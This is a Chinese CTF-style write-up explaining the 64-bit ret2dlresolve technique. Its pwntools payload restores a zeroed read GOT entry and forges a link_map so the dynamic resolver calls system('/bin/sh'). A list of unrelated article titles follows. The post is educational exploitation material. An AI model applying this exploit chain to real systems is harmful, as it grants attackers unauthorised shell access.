ret2dl64

ret2dl64 与ret2dl32不同,ret2dl64需要知道libc。

检查保护:

IDA看一看

read_got 被置为0,强制你使用ret2dlresolve。

我们先伪造link_map,然后让程序去执行我们伪造的link_map,执行system('/bin/sh')。

首先我们需要恢复read函数的got表,方法就是布置好参数跳转到plt0重新解析read函数。

bin_sh =  fake_link_map_addr + 0x78

payload = fake_link_map
payload = payload.ljust(0x118,'\x00')
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(0x0600E10)+p64(0)+p64(0x400406) #恢复read_got的内容
payload += p64(pop_rdi_ret) + p64(bin_sh)+p64(ret)+ p64(plt_load) + p64(fake_link_map_addr) + p64(0)#通过fake_link_map调用system('/bin/sh')

我们再来看看fake_link_map

l_addr = libc.sym['system'] - libc.sym['read']
r_offset = buf - l_addr #保证buf为可读可写就可以了 #负数需要补码
if l_addr < 0:
l_addr = l_addr + 0x10000000000000000 fake_link_map_addr = buf
fake_dyn_strtab_addr = fake_link_map_addr + 0x8
fake_dyn_symtab_addr = fake_link_map_addr + 0x18
fake_dyn_rel_addr = fake_link_map_addr + 0x28 fake_link_map = p64(l_addr)
fake_link_map += p64(0) + p64(dynstr) #fake_dyn_strtab : fake_link_map_addr + 0x8
fake_link_map += p64(0) + p64(read_got - 0x8) #fake_dyn_symtab : fake_link_map_addr + 0x18
fake_link_map += p64(0) + p64(fake_link_map_addr + 0x38) #fake_dyn_rel : fake_link_map_addr + 0x28
fake_link_map += p64(r_offset) + p64(0x7) + p64(0) #fake_rel : fake_link_map_addr + 0x38
fake_link_map = fake_link_map.ljust(0x68,'\x00') fake_link_map += p64(fake_dyn_strtab_addr)#dyn_strtab的指针
fake_link_map += p64(fake_dyn_symtab_addr) #dyn_strsym的指针 : fake_link_map_addr + 0x70
fake_link_map += '/bin/sh\x00' #fake_link_map_addr + 0x78
fake_link_map = fake_link_map.ljust(0xF8,'\x00')
fake_link_map += p64(fake_dyn_rel_addr)#在fake_link_map_addr + 0xF8处,是rel.plt指针

ret2dl64的更多相关文章

随机推荐

  1. 2021年-在windwos下如何用TOMACT发布一个系统(完整配置案列)

    2021年新年第一篇:博主@李宗盛-关于在Windwos下使用TOMCAT发布一个系统的完成配置案列. 之前写过关于TOMCAT的小篇幅文档,比较分散,可以作为对照与参考. 此篇整合在一起,一篇文档写 ...

  2. docker ssh秘钥免密登录

    一.概述 有一台跳板机,已经实现了免密登录后端服务器.但是我写了一个django项目,它是运行在容器中的,也需要免密登录后端服务器. 虽然可以在容器中手动做一下免密登录,但是容器重启之后,之前做的设置 ...

  3. Linux内核的TCP协议栈和内核旁路的选择?

    [前言]最近在实习公司用到了solarflare的万兆网卡,用到了网卡的openonload技术还有TCPDirect模式代码的编写,其理论基础都是内核旁路.网上关于内核旁路技术的介绍基本就两篇,我结 ...

  4. HBase 数据存储结构

    在HBase中, 从逻辑上来讲数据大概就长这样: 单从图中的逻辑模型来看, HBase 和 MySQL 的区别就是: 将不同的列归属与同一个列族下 支持多版本数据 这看着感觉也没有那么太大的区别呀, ...

  5. CSS过渡约束的计算

    CSS过度约束性质 什么是CSS过度约束 当没有开启绝对定位或固定定位时 水平布局必须要满足以下等式 探寻能够设置成auto的CSS属性 等式不成立(过度约束)时的几种情况 当margin与width ...

  6. 树莓派4b通过外接ssd硬盘启动系统失败的排查和解决

    树莓派4b通过外接ssd硬盘启动系统失败,症状: 屏幕卡在黑屏或提示 mmc1:Controller never released inhibit bit(s).... 先说如何设置硬盘启动,后面是解 ...

  7. Slenium详解

    Slenium介绍 Selenium 是一个 Web 应用的自动化框架. 通过它,我们可以写出自动化程序,像人一样在浏览器里操作web界面. 比如点击界面按钮,在文本框中输入文字 等操作. 而且还能从 ...

  8. rest framework renderers

    渲染器 前TemplateResponse实例可以被返回给客户端,它必须被渲染.渲染过程需要模板和上下文的中间表示,并把它变成能够提供给客户端的最后一个字节流. - Django文档 REST框架包含 ...

  9. Android - Handler原理

    Handler的主要作用是收发消息和切线程 功能一:收发消息 简单流程介绍 希望你看完这篇文章后也可以把流程自己讲出来,并且每个环节还可以讲出很多细节 他的消息机制离不开Looper.MessageQ ...

  10. 动态规划-最长公共上升子序列-n^2解法

    1. 题目描述 给定两个数列\(A, B\),如果他们都包含一段位置不一定连续的数,且数值是严格递增的,那么称这一段数是两个数列的公共上升子序列.求\(A\)和\(B\)的最长公共上升子序列. 输入格 ...